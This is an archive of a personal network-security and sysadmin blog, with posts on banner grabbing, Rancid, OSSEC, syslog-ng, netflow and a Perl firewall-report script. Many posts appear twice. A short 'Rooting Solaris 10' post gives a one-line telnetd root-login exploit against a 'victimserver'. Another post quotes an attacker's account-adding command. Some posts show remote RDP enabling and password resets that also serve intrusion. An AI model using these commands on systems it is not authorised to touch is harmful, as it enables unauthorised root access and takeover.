A lot of verifications have to be made before escalation process can be carried out (this is not a good procedure according to CISSP) in network analysis. Let say you received "HTTPD v3.0 BOF shit" alert, you need to verify is the victims of this alert running HTTP v3.0 or not. The best method is to contact the owner of the victim's server due to:
1) The owner is the best person with a deep knowledge of the server.
But the cons is:
1) Time consuming
So, the alternative is an intrusive method which is banner grabbing. I have no interest in other banner grabbing except Fyodor's Nmap and Teso's Grabbb*. Grabbb is a robust banner grabber compared to Nmap. What i did was:
Grabbb
C:\MyOS\$ time ./grab -i ../ip-TIME-smtp-overflowid.txt 25
Nmap
C:\MyOS\$ time nmap -sV -iL ../ip-TIME-smtp-overflowid.txt -p25
and the result is:
Grabbb -> real 0m30.570s
Nmap -> real 0m22.289s
To my surprise; nmap performed better than Grabbb. But bear in mind, this timing method is not a credible process since a lot of factor need to be considered:
1) Grabbb was compiled on MyOS which run glibc version gazillion but the grabbb was a dinosaur program coming out of Jurassic World.
2) Network load during the process
3) Host load during the process
4) Nmap did not scan the hosts if there were no icmp echo reply since -P0 was not used. ;)
* Disclaimer: I have not gone through the codes for verification, and if you're backdoored because of your inability to read the code; which is equal to mine; please do not hesitate to bang your head to the door.
Wednesday, October 08, 2008
Saturday, October 04, 2008
Quest for a handphone
For me, be it Iphone, Nokia or whatever it is.. the requirement is quite simple.
Must:
1) Rock hard solid Operating System
2) No or Less java based Application
3) With the ability to text and call.
4) Camera but not a fancy one.
5) With universal battery charger.
6) Wifi / Bluetooth enable that meets I3E standard.
7) That have email client that support OWA/POP3S/STMPS.
Extra:
1) Mobile accounting package that can be synced back to normal Accounting Application such as GnuCash.
2) That can export/import phone book into csv format.
3) Can be sync easily to a pc / macbook.
4) That can run Karmetasploit . ( Am i asking too much? )
Must:
1) Rock hard solid Operating System
2) No or Less java based Application
3) With the ability to text and call.
4) Camera but not a fancy one.
5) With universal battery charger.
6) Wifi / Bluetooth enable that meets I3E standard.
7) That have email client that support OWA/POP3S/STMPS.
Extra:
1) Mobile accounting package that can be synced back to normal Accounting Application such as GnuCash.
2) That can export/import phone book into csv format.
3) Can be sync easily to a pc / macbook.
4) That can run Karmetasploit . ( Am i asking too much? )
Sunday, August 03, 2008
SSH, a handy tool!
I need to check some configurations in several servers located all over the net. I was thinking to use perl, nahhh... better to use shell script with ssh using sshkey.
#!/bin/bash
for in x `grep ^ iplist` do; ssh admin@"$x" "cat /etc/snort.config; mysql -uusername -ppassword snortdb -e "select * from events where event_id =9"; >> $x.result; done
Thats it.
#!/bin/bash
for in x `grep ^ iplist` do; ssh admin@"$x" "cat /etc/snort.config; mysql -uusername -ppassword snortdb -e "select * from events where event_id =9"; >> $x.result; done
Thats it.
Wednesday, July 09, 2008
My Intrusion Prevention System is better than yours
"I have IPSs and i've seen some weird query/log during the testing. It was something like cmd.exe, net user mofo mofo123 /add and other commands being executed on our server."
Oh darling, if you have an IPS, it should be dropping those connection already. If not, give a kick to the nuts-sack of the IPS vendors and tell them www.go.to.hell.org!! I, myself would not mind to give them an uppercut kick just like zohan
Oh darling, if you have an IPS, it should be dropping those connection already. If not, give a kick to the nuts-sack of the IPS vendors and tell them www.go.to.hell.org!! I, myself would not mind to give them an uppercut kick just like zohan
It was an attack, wasn't it?
Sample
FWBongek, 1 July 2008, 08:32, 10.10.10.10:3124, 1.1.1.1:23, TCP
.
.
.
FWBongek, 2 July 2008, 10:00, 10.10.10.10:3124, 1.1.1.1:23, TCP
Using my super lazy skills,
cat firewall.log | cut -d ',' -f 3 | cut -d ':' -f 1 | sort -rn | uniq -c
I've found out, it just a normal internet behavior, kind of things that u will see once u'r connected to the internet. The cause might be, worm,botnet and mass scanning.
FWBongek, 1 July 2008, 08:32, 10.10.10.10:3124, 1.1.1.1:23, TCP
.
.
.
FWBongek, 2 July 2008, 10:00, 10.10.10.10:3124, 1.1.1.1:23, TCP
Using my super lazy skills,
cat firewall.log | cut -d ',' -f 3 | cut -d ':' -f 1 | sort -rn | uniq -c
I've found out, it just a normal internet behavior, kind of things that u will see once u'r connected to the internet. The cause might be, worm,botnet and mass scanning.
Sunday, April 01, 2007
Configuration Management with Rancid
Hey folks!
Dont you guys think it is a very tedious process to keep track of your networking devices configuration. Yah you know.. > copy run-config/start-config tftp ip.address .
So, instead of wasting my time doing that manually, i use Rancid + CVSWeb to monitor and keep track of my cisco devices configuration changes. As usual, my favorite platform is FreeBSD. The installation process can be referred to this tutorial.
After installation, several configurations need to be made especially, ~/.cloginrc which stored all your authentication method and password and also router.db that stored information about the router. In .cloginrc you can define what type of login method that you want to use, either telnet or SSH. For example:
add type ssh ip.of.the.router
add password ip.of.the.router passwordbongok passwordbongek
To test wether it's working or not, you can use a tool which is part of rancid, clogin.
$ clogin ip.of.the.router
if you can login and manage to get into global and configuration mode. Then you're good. After that all you need to start your rancid by typing rancid-run. Here is the screenshot of my cvsweb.
So the last step is to make sure every hour rancid will check for configuration changes on the routers. So all you need is crontab.
@hourly /usr/local/bin/rancid/rancid-run . Thats it.
Dont you guys think it is a very tedious process to keep track of your networking devices configuration. Yah you know.. > copy run-config/start-config tftp ip.address .
So, instead of wasting my time doing that manually, i use Rancid + CVSWeb to monitor and keep track of my cisco devices configuration changes. As usual, my favorite platform is FreeBSD. The installation process can be referred to this tutorial.
After installation, several configurations need to be made especially, ~/.cloginrc which stored all your authentication method and password and also router.db that stored information about the router. In .cloginrc you can define what type of login method that you want to use, either telnet or SSH. For example:
add type ssh ip.of.the.router
add password ip.of.the.router passwordbongok passwordbongek
To test wether it's working or not, you can use a tool which is part of rancid, clogin.
$ clogin ip.of.the.router
if you can login and manage to get into global and configuration mode. Then you're good. After that all you need to start your rancid by typing rancid-run. Here is the screenshot of my cvsweb.
So the last step is to make sure every hour rancid will check for configuration changes on the routers. So all you need is crontab.
@hourly /usr/local/bin/rancid/rancid-run . Thats it.
Auditing users Account in Windows 2003
It have been a very very long time...
I've been assigned to list user ID, their group, Lock status and Active status. So I used this tools from Somarsoft called Dumpsec with a little bit help from unixtools.
Here is the tricks:
1. Dumpsec.exe /computer=\\computer.ip /rpt=users /saveas=csv outfile=c:\fileku.txt . It will produce something like below
3/16/2007 3:47 PM - Somarsoft DumpSec (formerly DumpAcl) - \\computer.ip
****Name,FullName,AccountType,Comment,HomeDrive,HomeDir,Profile,LogonScript,
Workstations,PswdCanBeChanged,PswdLastSetTime,PswdRequired,PswdExpires,
PswdExpiresTime,AcctDisabled,AcctLockedOut,AcctExpiresTime,
LastLogonTime,LastLogonServer,LogonHours,RasDialin,RasCallback,RasCallbackNumber
*********,,****,Built-in account for administering the computer/domain,,,,,,Yes,3/23/2006 3:52 PM,Yes,No
,Never,No ,No ,Never,4/12/2006 10:37 AM,10.20.201.13,All,No ,None,
***,***,***,,,,,,,Yes,8/21/2006 10:19 AM,Yes,No ,Never,No ,No ,Never,Never,10.20.201.13,All,No ,None,
Guest,,****,Built-in account for guest access to the computer/domain,,,,,,No ,3/7/2007 9:12 AM,No ,No ,Never,Yes,No ,Never,Never,10.20.201.13,All,No ,None,
SQLDebugger,SQLDebugger,****,This **** account is used by the Visual Studio .NET Debugger,,,,,,No ,2/15/2006 5:02 PM,Yes,No ,Never,No ,No ,Never,Never,10.20.201.13,All,No ,None,
SUPPORT_388945a0,CN=Microsoft Corporation,L=Redmond,S=Washington,C=US,****,This is a vendor's account for the Help and Support Service,,,,,,No ,2/10/2006 11:06 AM,Yes,No ,Never,Yes,No ,Never,Never,10.20.201.13,All,No ,None,
****,,****,Built-in account for administering the computer/domain,,,,,,Yes,10/4/2006 4:31 PM,Yes,No ,Never,No ,No ,Never,3/1/2007 3:22 PM,10.20.201.13,All,No ,None,
All i need is field no 1,2,15 and 16 so i did this. (Actually there are several way to do this, one of it to use awk)
2. cat c:\fileku.txt | cut -d "," -f1,2,15,16 >> listuser.csv . So here is the result.
So who said MS Windows is boring? Operating System is just a tool, be it Solaris, BSD, Windows, Linux or whatever it is, all you need is knowledge to make it fun!
I've been assigned to list user ID, their group, Lock status and Active status. So I used this tools from Somarsoft called Dumpsec with a little bit help from unixtools.
Here is the tricks:
1. Dumpsec.exe /computer=\\computer.ip /rpt=users /saveas=csv outfile=c:\fileku.txt . It will produce something like below
3/16/2007 3:47 PM - Somarsoft DumpSec (formerly DumpAcl) - \\computer.ip
****Name,FullName,AccountType,Comment,HomeDrive,HomeDir,Profile,LogonScript,
Workstations,PswdCanBeChanged,PswdLastSetTime,PswdRequired,PswdExpires,
PswdExpiresTime,AcctDisabled,AcctLockedOut,AcctExpiresTime,
LastLogonTime,LastLogonServer,LogonHours,RasDialin,RasCallback,RasCallbackNumber
*********,,****,Built-in account for administering the computer/domain,,,,,,Yes,3/23/2006 3:52 PM,Yes,No
,Never,No ,No ,Never,4/12/2006 10:37 AM,10.20.201.13,All,No ,None,
***,***,***,,,,,,,Yes,8/21/2006 10:19 AM,Yes,No ,Never,No ,No ,Never,Never,10.20.201.13,All,No ,None,
Guest,,****,Built-in account for guest access to the computer/domain,,,,,,No ,3/7/2007 9:12 AM,No ,No ,Never,Yes,No ,Never,Never,10.20.201.13,All,No ,None,
SQLDebugger,SQLDebugger,****,This **** account is used by the Visual Studio .NET Debugger,,,,,,No ,2/15/2006 5:02 PM,Yes,No ,Never,No ,No ,Never,Never,10.20.201.13,All,No ,None,
SUPPORT_388945a0,CN=Microsoft Corporation,L=Redmond,S=Washington,C=US,****,This is a vendor's account for the Help and Support Service,,,,,,No ,2/10/2006 11:06 AM,Yes,No ,Never,Yes,No ,Never,Never,10.20.201.13,All,No ,None,
****,,****,Built-in account for administering the computer/domain,,,,,,Yes,10/4/2006 4:31 PM,Yes,No ,Never,No ,No ,Never,3/1/2007 3:22 PM,10.20.201.13,All,No ,None,
All i need is field no 1,2,15 and 16 so i did this. (Actually there are several way to do this, one of it to use awk)
2. cat c:\fileku.txt | cut -d "," -f1,2,15,16 >> listuser.csv . So here is the result.
3/13/2007 4:01 PM - Somarsoft DumpSec (formerly DumpAcl) - \\computer.ip
****Name,FullName,AccountType,AcctDisabled,AcctLockedOut
ASPNET,ASP.NET Machine Account,****,No ,No
******,******,****,No ,No
Guest,,****,Yes,No
*******,Internet Guest Account,****,No ,No
SQLDebugger,SQLDebugger,****,No ,No
SUPPORT_388945a0,CN=Microsoft Corporation,L=Redmond,Yes,No
****,,****,No ,No
****Name,FullName,AccountType,AcctDisabled,AcctLockedOut
ASPNET,ASP.NET Machine Account,****,No ,No
******,******,****,No ,No
Guest,,****,Yes,No
*******,Internet Guest Account,****,No ,No
SQLDebugger,SQLDebugger,****,No ,No
SUPPORT_388945a0,CN=Microsoft Corporation,L=Redmond,Yes,No
****,,****,No ,No
So who said MS Windows is boring? Operating System is just a tool, be it Solaris, BSD, Windows, Linux or whatever it is, all you need is knowledge to make it fun!
Wednesday, February 14, 2007
Rooting Solaris 10
Rooting Solaris 10 is seemed like an impossible mission but not when you have telnetd running on that solaris machine. Hey!! I tought we're living in 2007 and supposely telnetd should be long gone replaced by SSHD. :=D
telnet -l "-froot" victimserver
Peace yall!
telnet -l "-froot" victimserver
Peace yall!
Tuesday, January 30, 2007
Why netflow?
Recently, we're facing with network congestion, especially on our Wan Link.
We tried to find the culprit for this problem, but nothing much came out of cacti and ntop. So we decided to download and test this netflow reporting tools called Netflow tracker from Crannog Software. The installation is very easy, and we managed to find the cause of the trouble in just few minutes.
After identifying the source of problem, we decided to disconnect the server from the network. Traffic flow back to normal.
We tried to find the culprit for this problem, but nothing much came out of cacti and ntop. So we decided to download and test this netflow reporting tools called Netflow tracker from Crannog Software. The installation is very easy, and we managed to find the cause of the trouble in just few minutes.
After identifying the source of problem, we decided to disconnect the server from the network. Traffic flow back to normal.
Disabling Windows Autoupdate
If you have a patch management system, you dont need to enable AutoUpdate service. Why?
1. Reduce bandwidth consumption, instead of every machine connecting and downloading from *microsoft.com, now all you need is one centralize server.
2. Reduce logging noise in network devices especially firewall
3. Reduce resources usage since less services running automatically.
So how to do it?
I use GNU Awk and must run as domain administrator.
1. net view | gawk " { print $1 } > hostlist
2. for /f %i in (hostlist) do sc \\%i stop wuauserv
3. for /f %i in (hostlist) do sc \\%i config start= disabled
Thats it.
1. Reduce bandwidth consumption, instead of every machine connecting and downloading from *microsoft.com, now all you need is one centralize server.
2. Reduce logging noise in network devices especially firewall
3. Reduce resources usage since less services running automatically.
So how to do it?
I use GNU Awk and must run as domain administrator.
1. net view | gawk " { print $1 } > hostlist
2. for /f %i in (hostlist) do sc \\%i stop wuauserv
3. for /f %i in (hostlist) do sc \\%i config start= disabled
Thats it.
Monday, January 22, 2007
Enabling Windows Remote Desktop using command line
Sometime u need to access remote windows machine by RDP, but the problem is, RDP is not enable by default. Using psexec and reg add, you can enable RDP remotely.
psexec \\computername -u username reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
psexec \\computername -u username reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
Tuesday, January 16, 2007
OSSEC HIDS + Web Interface
After testing several HIDS like samhain, osiris i decided to give OSSEC a try. BTW, what the heck is OSSEC? OSSEC is an Open Source Host-based Intrusion Detection System. It performs log analysis, integrity checking, Windows registry monitoring, rootkit detection, time-based alerting and active response. The reason i pick OSSEC not samhain or osiris, because of it's simplicity.
Ossec is a client-server solution. So u need a server and clients. My server run on FreeBSD and clients run on windows/Linux/Solaris/Bsd. The installation process is very straight forward, so please visit here.
For monitoring purpose, i use ossec-wui, a web based interface for alerting. Installation also very straight forward, except that, i cant view alert from ossec logs file. I already add apache user into ossec group (edit /etc/group), but the result still the same. From Ossec mailing list, one of the guy pointed out that os_lib_alerts.php does not return the right user group. For solution, i need to comment that line.
/* Getting group information */ $evt_group = strstr($buffer, "-"); if($evt_group === FALSE) { /* Invalid group */ continue; => comment this line }
So, now my ossec-wui work like a charm. Heres the screenshot.
Further googling show that, i need to upgrade my OSSEC from 0.93 to 1.0 in order to overcome this problem. Without very much hesitation, i download the latest version and run ./setup.sh . Thats it . Job done for today.
Ossec is a client-server solution. So u need a server and clients. My server run on FreeBSD and clients run on windows/Linux/Solaris/Bsd. The installation process is very straight forward, so please visit here.
For monitoring purpose, i use ossec-wui, a web based interface for alerting. Installation also very straight forward, except that, i cant view alert from ossec logs file. I already add apache user into ossec group (edit /etc/group), but the result still the same. From Ossec mailing list, one of the guy pointed out that os_lib_alerts.php does not return the right user group. For solution, i need to comment that line.
/* Getting group information */ $evt_group = strstr($buffer, "-"); if($evt_group === FALSE) { /* Invalid group */ continue; => comment this line }
So, now my ossec-wui work like a charm. Heres the screenshot.
Further googling show that, i need to upgrade my OSSEC from 0.93 to 1.0 in order to overcome this problem. Without very much hesitation, i download the latest version and run ./setup.sh . Thats it . Job done for today.
Sunday, January 14, 2007
Reset "sa" in MSDE
Yeah, shit does happen especially when you dont plan properly. I forgot my MSDE password that store most of EventViewer alerts. Luckily, Builtin administrator accounts can be used to reset MSDE password. Here's the trick:
osql -E -d databasename -Q "sp_password NULL, 'newpassword', 'sa'"
-E to use trusted connection
-Q to execute query and exit
for more option, run osql /?
osql -E -d databasename -Q "sp_password NULL, 'newpassword', 'sa'"
-E to use trusted connection
-Q to execute query and exit
for more option, run osql /?
Monday, October 30, 2006
Baby, who stole your soul?
After long holiday; i'm back at the office. One of the guy from ITHelpdesk asked me; why his newly installed freebsd 6.1 failed to start. So i tried to boot into his freebsd, but found that there was no kernel to boot to. What i did was; boot using freebsd 6.1 installer and using sysintall; i chose fixit option -> Live cd.
then i need to mount the harddisk.
#mkdir /tmp/bsd
#mount /dev/ad4s1 /tmp/bsd
From there i changed directory to /boot. There was no kernel folder in boot directory. Oh baby, who stole your soul(kernel)?
Then i decided to copy kernel folder in the installer cd ( Before that i already copy the kernel folder into thumb drive).
#mkdir /tmp/usb
#/tmp/bsd/sbin/mount_msdos /dev/da0s1 /tmp/usb
#cp -Rf /tmp/usb/kernel /tmp/bsd/boot
That's it. I restored back your soul ; but who gonna gimme back my soul, baby?
Disclaimer: I cannot be held responsible if this method failed to give any reader satisfaction, pleasure or may cause mayhem, self destruction, world domination or even human destruction that may lead to apocalypse.
then i need to mount the harddisk.
#mkdir /tmp/bsd
#mount /dev/ad4s1 /tmp/bsd
From there i changed directory to /boot. There was no kernel folder in boot directory. Oh baby, who stole your soul(kernel)?
Then i decided to copy kernel folder in the installer cd ( Before that i already copy the kernel folder into thumb drive).
#mkdir /tmp/usb
#/tmp/bsd/sbin/mount_msdos /dev/da0s1 /tmp/usb
#cp -Rf /tmp/usb/kernel /tmp/bsd/boot
That's it. I restored back your soul ; but who gonna gimme back my soul, baby?
Disclaimer: I cannot be held responsible if this method failed to give any reader satisfaction, pleasure or may cause mayhem, self destruction, world domination or even human destruction that may lead to apocalypse.
Tuesday, October 17, 2006
ICMP L3retriever Ping
My IDS keep on alerting on this : ICMP L3retriever Ping. What the heck is this. Using google; i stumble upon this mailing list.
It active directory related - if you have Win XP systems/and possibly win2000
as well, you will have these. You might
want to examine your rule and/or look and see if the "computer browser" service
is enabled on non-domain controllers
(i.e. all the workstations, etc).
Based on this answer; i have to stop and disable almost 100 machine from running Computer Browser. What i did was:
runas /user:domainname\userid cmd
net view | findstr "^\\\\" >hostlist
for %i in (hostlist) do start /wait psexec %i cmd /C "net stop browser"
for %i in (hostlist) do start /wait sc %i config Browser start= disabled
Let see what will happen.
It active directory related - if you have Win XP systems/and possibly win2000
as well, you will have these. You might
want to examine your rule and/or look and see if the "computer browser" service
is enabled on non-domain controllers
(i.e. all the workstations, etc).
Based on this answer; i have to stop and disable almost 100 machine from running Computer Browser. What i did was:
runas /user:domainname\userid cmd
net view | findstr "^\\\\" >hostlist
for %i in (hostlist) do start /wait psexec %i cmd /C "net stop browser"
for %i in (hostlist) do start /wait sc %i config Browser start= disabled
Let see what will happen.
Wednesday, October 11, 2006
PHP Syslog NG
PHP SyslogNG is web interface query for syslog data that been stored in mysql database. It's lack treshold capabilities and alerting system; but hey; it's got what i need. The current implementation is just like this:
I export any available syslog including Cisco router, windows event viewer (using evtsys), *nix family into a "so called" server that run Syslog NG + Mysql + PhpSyslogNG. The latest release is 2.8 (at the time of writing); come with several enhancement including user access(control user login and session ID) and cache search (to help speeding database query). When upgrading from 2.5 to 2.8 i need to add a user table and also make adjustment in syslog-ng configuration by combining time and date fielf into one field (datetime).
destination d_mysql {
pipe("/tmp/mysql.pipe"
template("INSERT INTO logs (host, facility, priority, level, tag, datetime,
program, msg) VALUES ( '$HOST', '$FACILITY', '$PRIORITY', '$LEVEL','$TAG',
'$YEAR-$MONTH-$DAY $HOUR:$MIN:$SEC', '$PROGRAM', '$MSG' );\n") template-escape(yes));
};
I also have to add another field which is datetime into syslog.logs . Everything went smooth until when I add another host into the system. The system did not update the new hosts information. I just wonder why. It might be the network problem, system problem, firewall blocking or natural disaster! Running tcpdump #tcpdump -i ifwhateva host the.ip.of.newhost. The Tcpdump results show; there is data coming in from the.ip.of.newhost but there is still no update from Php-syslog-NG. Hmmm... i think i need to clear the search_cache tables in the syslog.search_cache. $mysql -u root -p syslog -e "truncate table `search_cache`" should do the job.
I export any available syslog including Cisco router, windows event viewer (using evtsys), *nix family into a "so called" server that run Syslog NG + Mysql + PhpSyslogNG. The latest release is 2.8 (at the time of writing); come with several enhancement including user access(control user login and session ID) and cache search (to help speeding database query). When upgrading from 2.5 to 2.8 i need to add a user table and also make adjustment in syslog-ng configuration by combining time and date fielf into one field (datetime).
destination d_mysql {
pipe("/tmp/mysql.pipe"
template("INSERT INTO logs (host, facility, priority, level, tag, datetime,
program, msg) VALUES ( '$HOST', '$FACILITY', '$PRIORITY', '$LEVEL','$TAG',
'$YEAR-$MONTH-$DAY $HOUR:$MIN:$SEC', '$PROGRAM', '$MSG' );\n") template-escape(yes));
};
I also have to add another field which is datetime into syslog.logs . Everything went smooth until when I add another host into the system. The system did not update the new hosts information. I just wonder why. It might be the network problem, system problem, firewall blocking or natural disaster! Running tcpdump #tcpdump -i ifwhateva host the.ip.of.newhost. The Tcpdump results show; there is data coming in from the.ip.of.newhost but there is still no update from Php-syslog-NG. Hmmm... i think i need to clear the search_cache tables in the syslog.search_cache. $mysql -u root -p syslog -e "truncate table `search_cache`" should do the job.
Sunday, October 08, 2006
New Firewall, come with headache + loads of funs!
I have to setup several firewalls for my offside data center. So we bought this 1U machine,NSA; that come with 4 network cards and one extra PCI slot (WAN,LAN,DMZ,CARP). I planned to setup 2 firewalls powered by OpenBSD PF and using CARP function for High Avaibility. But during the implementation process, we made some adjustment and settle for PFSense without CARP(PFsense do have CARP capabilities) . Below are the summary of installation process.
1. Take out the harddisk from the NSA
2. Connect to windows machine using IDE-USB cable.
3. write image to harddisk -> physdiskwrite -u image ( follow the prompted question).
4. Put the hardisk back into NSA.
5. Turn on the NSA and configure the interface ip using null modem cable F/F( normal config like baud rate 9600).
6. After configuring through console, you can start browsing to PFSense web base configurator.
7. The default login is admin:pfsense
8. What i did was, turn on bridge mode firewall by bridging WAN interface with OPT1(named as bridge)
9. LAN interface is used for management.
10. The rules is quite simple though (actually not for me, since i'm kind of lazy to read the PFSense RTFM). Allow everything on WAN interface, allow several thing on OPT1(Bridge) and the last rule is to disable all(deny explicit) on OPT1 interface.
11. Thats it.. Very simple process but took my whole weekend to setup the firewall due to my laziness in reading the RTFM.
Some good referance to read:
http://www.pfsense.com/index.php?id=36
http://www.benzedrine.cx/pf.html
Saturday, September 09, 2006
Automated log processing
I have to process FW1 log alert on daily basis. I' getting tired with dashboard log alert that comes together with FW1. And the worst thing is; for a decent reporting; extra amount of money needed to buy Eventia log reporting module. I end up using fwlogsum a tool written in perl. Since i need to process on windows machine; and i'm totally fuck up with windows script; i decided to use perl as automated tools equipped with the MIME::Lite and NET::SMTP. Here's the script.
use Time::Local;
use MIME::Lite;
use Net::SMTP;
#Global variable
$base="X:/Where i work/";
$logdir="X:/New log dir/";
$rawlogdir="X:/Original log directory/";
$appen="_xyzs.log";
$today = timelocal(localtime);
@yesterday = localtime ($today - (24*60*60));
$d=@yesterday[3];
$m=@yesterday[4]+1;
$year=@yesterday[5]+1900;
#formatting date
if ( $d <>
$day = "0$d";
}else{
$day = $d;
}
if ( $m <>
$month = "0$m";
}else{
$month = $m;
}
#New file created
$LEAfile ="$rawlogdir$year-$month-$day$appen";
$exportfile="$logdir$year$month$day.log";
@filelist=("$base$year$month$day-accept.html", "$base$year$month$day-drop.html" ,"$base$year$month$day-attack.html");
#Processing file
`fwm logexport -d ";" -n -p -i "$LEAfile" -o "$logdir$year$month$day.log"`;
`perl "$base"fwlogsum -w -ra -S -l "$exportfile" -o "@filelist[0]" -H "Accepted Traffics for $day-$month-$year" -v`;
`perl "$base"fwlogsum -w -rx -S -l "$exportfile" -o "@filelist[1]" -H "Drop Traffics for $day-$month-$year" -v`;
`perl "$base"fwlogsum -w -rt -S -l "$exportfile" -o "@filelist[2]" -H "Attack Traffics for $day-$month-$year" -v`;
#Sending the report; reference code to Martin Zahn / 05.01.2003
my $from_address = 'fwreport@pencacaimachine.relaks.com.au';
my $to_address = 'my_master@relaks.com.au';
my $mail_host = '172.16.100.1';
### Adjust subject and body message
my $subject = "Firewall report for $day-$month-$year";
my $message_body = "Please Refer to attachment\n";
### Filename
my $my_report1 = "$base$year$month$day-accept.html";
my $your_report1 = "$year$month$day-accept.html";
my $my_report2 = "$base$year$month$day-drop.html";
my $your_report2 = "$year$month$day-drop.html";
my $my_report3 = "$base$year$month$day-attack.html";
my $your_report3 = "$year$month$day-attack.html";
### Create the multipart container
$msg = MIME::Lite->new (
From => $from_address,
To => $to_address,
Subject => $subject,
Type =>'multipart/mixed'
) or die "Error creating multipart container: $!\n";
### Add the text message part
$msg->attach (
Type => 'TEXT',
Data => $message_body
) or die "Error adding the text message part: $!\n";
### Add the Report 1
$msg->attach (
Type => 'text/plain',
Path => "$my_report1",
Filename => "$your_report1",
Disposition => 'attachment'
) or die "Error adding $file_html: $!\n";
### Add the Report 2
$msg->attach (
Type => 'text/plain',
Path => "$my_report2",
Filename => "$your_report2",
Disposition => 'attachment'
) or die "Error adding $file_html: $!\n";
### Add the Report 3
$msg->attach (
Type => 'text/plain',
Path => $my_report3,
Filename => $your_report3,
Disposition => 'attachment'
) or die "Error adding $file_html: $!\n";
### Send the Message
MIME::Lite->send('smtp', $mail_host, Timeout=>60);
$msg->send;
###Clean up Report
unlink (@filelist);
So now; i only have to check my mailbox for the log report summary. Only when there is something wierd on the reporting; then only i turn to FW1 dashboard.
use Time::Local;
use MIME::Lite;
use Net::SMTP;
#Global variable
$base="X:/Where i work/";
$logdir="X:/New log dir/";
$rawlogdir="X:/Original log directory/";
$appen="_xyzs.log";
$today = timelocal(localtime);
@yesterday = localtime ($today - (24*60*60));
$d=@yesterday[3];
$m=@yesterday[4]+1;
$year=@yesterday[5]+1900;
#formatting date
if ( $d <>
$day = "0$d";
}else{
$day = $d;
}
if ( $m <>
$month = "0$m";
}else{
$month = $m;
}
#New file created
$LEAfile ="$rawlogdir$year-$month-$day$appen";
$exportfile="$logdir$year$month$day.log";
@filelist=("$base$year$month$day-accept.html", "$base$year$month$day-drop.html" ,"$base$year$month$day-attack.html");
#Processing file
`fwm logexport -d ";" -n -p -i "$LEAfile" -o "$logdir$year$month$day.log"`;
`perl "$base"fwlogsum -w -ra -S -l "$exportfile" -o "@filelist[0]" -H "Accepted Traffics for $day-$month-$year" -v`;
`perl "$base"fwlogsum -w -rx -S -l "$exportfile" -o "@filelist[1]" -H "Drop Traffics for $day-$month-$year" -v`;
`perl "$base"fwlogsum -w -rt -S -l "$exportfile" -o "@filelist[2]" -H "Attack Traffics for $day-$month-$year" -v`;
#Sending the report; reference code to Martin Zahn / 05.01.2003
my $from_address = 'fwreport@pencacaimachine.relaks.com.au';
my $to_address = 'my_master@relaks.com.au';
my $mail_host = '172.16.100.1';
### Adjust subject and body message
my $subject = "Firewall report for $day-$month-$year";
my $message_body = "Please Refer to attachment\n";
### Filename
my $my_report1 = "$base$year$month$day-accept.html";
my $your_report1 = "$year$month$day-accept.html";
my $my_report2 = "$base$year$month$day-drop.html";
my $your_report2 = "$year$month$day-drop.html";
my $my_report3 = "$base$year$month$day-attack.html";
my $your_report3 = "$year$month$day-attack.html";
### Create the multipart container
$msg = MIME::Lite->new (
From => $from_address,
To => $to_address,
Subject => $subject,
Type =>'multipart/mixed'
) or die "Error creating multipart container: $!\n";
### Add the text message part
$msg->attach (
Type => 'TEXT',
Data => $message_body
) or die "Error adding the text message part: $!\n";
### Add the Report 1
$msg->attach (
Type => 'text/plain',
Path => "$my_report1",
Filename => "$your_report1",
Disposition => 'attachment'
) or die "Error adding $file_html: $!\n";
### Add the Report 2
$msg->attach (
Type => 'text/plain',
Path => "$my_report2",
Filename => "$your_report2",
Disposition => 'attachment'
) or die "Error adding $file_html: $!\n";
### Add the Report 3
$msg->attach (
Type => 'text/plain',
Path => $my_report3,
Filename => $your_report3,
Disposition => 'attachment'
) or die "Error adding $file_html: $!\n";
### Send the Message
MIME::Lite->send('smtp', $mail_host, Timeout=>60);
$msg->send;
###Clean up Report
unlink (@filelist);
So now; i only have to check my mailbox for the log report summary. Only when there is something wierd on the reporting; then only i turn to FW1 dashboard.
Thursday, February 23, 2006
Ntop with Netflow v 5
I need sometools to monitor my LAN. At first, i used Ntop with port span. Bad thing about this, my ntop server's cpu, seemed like in the middle of processing/cracking 2048 RSA/3DES/Blowjobfish encryption. SO decided to enable netflow plugins in ntop. It's only need 3 steps to enable netflow on cisco router.
1) Select which interface to enable netflow
2) point netflow to listener ip
3) define version of netflow. walla..
(config)#conf t
(config)#int fa 0/0
(config-if)# ip route-cache flow
(config-if)#exit
(config)#ip flow-export destination 1.1.1.1 9995
(config)#ip flow-export version 5
(config)#exit
To test netflow configuration #show ip flow export
Theb run the ntop.
#ntop -d -s -b -w 1.1.1.1:68532
Since i have multiple router/switches, i need to listen for multiple netflow traffic. I need to config netflow plugin to listen on multiple port.So, defining another port in netflow configuration for different switch will do the tricks.
By the way, ntop is a very nice tool written by Luca Deri. If you're looking for netflow solution and happen to have extra money, go and buy this tool => nbox
1) Select which interface to enable netflow
2) point netflow to listener ip
3) define version of netflow. walla..
(config)#conf t
(config)#int fa 0/0
(config-if)# ip route-cache flow
(config-if)#exit
(config)#ip flow-export destination 1.1.1.1 9995
(config)#ip flow-export version 5
(config)#exit
To test netflow configuration #show ip flow export
Theb run the ntop.
#ntop -d -s -b -w 1.1.1.1:68532
Since i have multiple router/switches, i need to listen for multiple netflow traffic. I need to config netflow plugin to listen on multiple port.So, defining another port in netflow configuration for different switch will do the tricks.
By the way, ntop is a very nice tool written by Luca Deri. If you're looking for netflow solution and happen to have extra money, go and buy this tool => nbox
Saturday, February 18, 2006
The attack of the Worms??
Over the weekend, i decided to open port 80 on the firewall. I thought there will be no connection to my IP, but to my surprise, there is alot of attempt. Is it worm? Or some preak who just got to know what port scanner is all about. Here's the snapshot.
Subscribe to:
Posts (Atom)